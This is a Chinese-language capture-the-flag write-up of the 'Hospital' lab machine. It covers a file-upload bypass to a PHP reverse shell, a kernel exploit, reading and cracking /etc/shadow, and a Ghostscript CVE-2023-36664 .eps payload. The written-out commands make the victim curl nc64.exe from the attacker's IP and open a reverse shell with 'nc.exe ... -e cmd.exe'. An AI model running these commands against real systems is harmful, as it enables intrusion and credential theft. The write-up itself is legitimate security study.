Ubuntu内核版本漏洞提权、Artifex Software Ghostscript 安全漏洞
Hospital
信息搜集
nmap扫描一下端口
发现8080端口和443端口有http服务
然后发现3389端口是启用了ms-wbt-server服务
在对443端口的扫描没有收获,并且只有邮箱登录界面无法注册
接着看向8080端口,我们随便注册用户登录后发现有文件上传功能
getshell
经过测试pht和phar后缀都可以绕过检测,然后dirsearch扫描出文件上传路径为/uploads/
尝试上传一句话木马,发现虽然能成功但是并不能执行命令
于是借助大神写的shell工具来反弹shell 脚本链接
直接下载shell.php然后上传,用bp将php后缀改为phar(后面测试了一下发现pht后缀会有问题,只能显示源码不解析)
然后访问文件保存路径/uploads/shell.phar
由于不稳定我们反弹到本地机器上
经过一番搜索,在/var/ww/html/config.php
找到数据库用户和密码
然后连接数据库
1 | mysql -u root -p -h localhost |
找到用户信息
对admin的解码一下得到密码(早知道弱口令爆破了hhh)
不过好像没什么用
于是参考国外师傅wp原来是利用Ubuntu内核版本漏洞去提权 exp链接
我们把exp下载到本地然后开启http服务,在靶机用wget命令复制过去
然后chmod给个执行权限,成功提权
这里的root并不是真正的root用户,所以我们还得寻找可用信息
我们查看当前用户的哈希值,发现有drwilliams的
1 | cat /etc/shadow |
然后用john爆破得到密码
得到密码后访问443端口登录后,注意到一封邮件
谷歌翻译一下,应该是要给Brown发送.eps文件
网上搜索出相关漏洞–Artifex Software Ghostscript 安全漏洞(CVE-2023-36664) 参考文章
漏洞原理大概就是GPL PostScript/PDF 解释器 Ghostscript 无法正确处理管道设备的权限验证,如果处理格式错误的文档文件,可能会导致执行任意命令
我们可以这样利用,先用该exp去创建第一个.eps
文件构造curl命令我们本地的nc程序,然后Brown使用解释器打开后触发该命令下载nc程序;然后再次发送一个.eps
文件去利用nc执行主动弹shell的命令
注意被攻击机为Brown的windows系统
执行过程如下
1 | python3 CVE_2023_36664_exploit.py --inject --payload "curl 10.10.14.54:8000/nc64.exe -o nc.exe" --filename file.eps |
下载nc64.exe并保存为nc.exe
成功下载nc程序
然后就再发一个邮件去主动nc连接
1 | python3 CVE_2023_36664_exploit.py --inject --payload "nc.exe 10.10.14.54 1028 -e cmd.exe" --filename file.eps |
发送后被Brown打开,成功nc连接
然后dir找到文件,查看一下得到密码
由于我们前面namp扫描出3389端口是ms-wbt-server服务,我们就可以尝试连接一下
开始我是使用xfreerdp工具连接
1 | xfreerdp /u:drbrown /v:10.10.11.241 |
然后惊讶的发现直接连接到被攻击机
访问桌面得到user的flag(不过确实不太方便root提权)
提权
所以就换成rpcclient连接
1 | rpcclient -U drbrown 10.10.11.241 |
然后执行querydispinfo命令,查看关于当前连接到计算机的显示器的详细信息
注意到管理员信息是与访客共享的
那么我们可以在刚刚连接的windows靶机上,curl我们本地的shell文件来实现RCE
(shell.php前文已经给了参考链接)
由于知道是共享的,所以我们直接访问/shell.php
得到root的flag